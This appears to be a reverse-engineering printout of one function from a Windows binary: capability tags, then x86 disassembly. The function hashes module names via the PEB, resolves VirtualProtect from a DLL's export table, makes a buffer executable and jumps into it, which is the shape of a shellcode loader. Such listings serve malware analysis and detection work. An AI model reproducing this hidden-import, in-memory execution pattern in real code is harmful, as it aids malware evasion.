Function at 0x475455
Capabilities:
Access peb ldr_data
Get process heap flags
Resolve function by parsing pe exports
Terminate process

Disassembly:
sub esp, 0x18
mov ecx, dword fs:[0x30]
mov edx, dword [ecx + 0xc]
add edx, 0xc
mov edx, dword [edx]
mov eax, dword [edx + 0x30]
test eax, eax
je 0x475465
mov edx, dword [edx + 0x18]
mov dword [esp], edx
mov esi, dword [0x4bfe8c]
mov ebp, dword [ecx + 0xc]
mov dword [esp + 4], eax
add ebp, 0xc
mov ebp, dword [ebp]
mov ebx, dword [ebp + 0x30]
test ebx, ebx
je 0x475484
test esi, esi
je 0x4754ea
movzx eax, word [ebx]
xor ecx, ecx
test eax, eax
je 0x4754da
xor edx, edx
inc edx
movzx edi, word [ebx + edx*4 - 4]
cmp edi, 0x41
jl 0x4754b1
cmp edi, 0x5a
lea eax, [edi + 0x20]
cmovle edi, eax
movzx eax, di
add ecx, eax
movzx eax, word [ebx + edx*4 - 2]
test eax, eax
je 0x4754da
cmp eax, 0x41
jl 0x4754d0
lea edi, [eax + 0x20]
movzx edi, di
cmp eax, 0x5a
cmovle eax, edi
add ecx, eax
movzx eax, word [ebx + edx*4]
test eax, eax
jne 0x47549d
nop dword [eax + eax]
nop dword [eax]
cmp esi, ecx
jne 0x475484
mov eax, dword [esp + 4]
mov ebx, dword [ebp + 0x18]
mov ebp, dword [0x4bfe88]
cmp dword [ebp], 0
je 0x475563
movzx edx, word [eax]
test edx, edx
je 0x4756b8
xor ecx, ecx
inc ecx
movzx esi, word [eax + ecx*4 - 2]
lea edi, [ecx + ecx]
lea edx, [ecx + ecx - 1]
test esi, esi
je 0x475525
movzx esi, word [eax + ecx*4]
mov edx, edi
test esi, esi
jne 0x47550a
movzx edx, dl
cmp dl, byte [ebp]
je 0x475536
cmp dl, byte [ebp + 1]
jne 0x475607
xor ecx, ecx
xor edx, edx
inc edx
movzx esi, word [eax + edx*4 - 4]
add ecx, esi
movzx esi, word [eax + edx*4 - 2]
test esi, esi
je 0x475555
add ecx, esi
movzx esi, word [eax + edx*4]
test esi, esi
jne 0x47553a
cmp ecx, dword [ebp + 4]
je 0x475563
cmp ecx, dword [ebp + 8]
jne 0x475607
xor eax, eax
mov edx, dword [0x4bfe74]
mov dword [esp + 4], eax
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
mov eax, dword [0x4bfe94]
test eax, eax
jbe 0x4755a3
xor eax, eax
mov edx, dword [str.VirtualProtect]
mov ecx, dword [edx + eax]
mov dword [ebp + eax], ecx
mov esi, dword [0x4bfe84]
add eax, esi
mov edi, dword [0x4bfe94]
cmp eax, edi
jb 0x475584
test ebx, ebx
je 0x475607
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [ecx + ebx + 0x20]
mov edi, dword [ecx + ebx + 0x18]
add eax, ebx
test edi, edi
jbe 0x475607
mov dl, byte [ebp]
xor esi, esi
mov dword [esp + 8], ecx
mov dword [esp + 0x14], ebp
mov ebp, ebx
add ebp, dword [eax + esi*4]
cmp dl, byte [ebp]
jne 0x475602
mov dword [esp + 0x10], edi
xor ecx, ecx
mov dword [esp + 0xc], eax
mov edi, dword [esp + 0x14]
cmp byte [ecx + ebp], 0
je 0x47560f
cmp byte [ecx + edi], 0
je 0x47560f
inc ecx
mov al, byte [ecx + ebp]
cmp al, byte [ecx + edi]
je 0x4755e1
mov dword [esp + 0x14], edi
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
inc esi
cmp esi, edi
jb 0x4755c9
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [esp + 8]
mov eax, dword [ecx + ebx + 0x1c]
mov ecx, dword [ecx + ebx + 0x24]
add eax, ebx
add ecx, ebx
movzx edx, word [ecx + esi*2]
mov ebp, dword [eax + edx*4]
add ebx, ebp
je 0x475607
mov esi, dword [0x4bfea4]
lea ebp, [esp + 4]
push ebp
mov edx, dword [0x4bfe90]
mov eax, dword [0x4bfe94]
push eax
push edx
push esi
call ebx
mov edx, dword [0x4bfeb0]
mov eax, dword [esp]
add eax, edx
mov ecx, dword [0x4bfe90]
mov dword [esp], eax
mov edx, dword [eax + 4]
cmp ecx, 8
jbe 0x475682
mov ecx, eax
mov eax, 8
mov edi, dword [ecx + eax]
add edi, edx
mov dword [esi + eax], edi
mov edi, dword [0x4bfe84]
add eax, edi
mov edi, dword [0x4bfe90]
cmp eax, edi
jb 0x475668
mov eax, dword [0x4bfe9c]
push ebp
mov dword [esi + 8], eax
push dword [esp + 8]
mov edx, dword [0x4bfe90]
push edx
push esi
call ebx
mov ecx, dword [esi + 0xc]
add ecx, esi
mov eax, dword [0x4bfe7c]
add ecx, eax
mov edx, dword [0x4bfe7c]
add esi, edx
push esi
call ecx
add esp, 4
jmp 0x475607
cmp byte [ebp], 0
je 0x4756c8
cmp byte [ebp + 1], 0
jne 0x475607
xor ecx, ecx
jmp 0x475555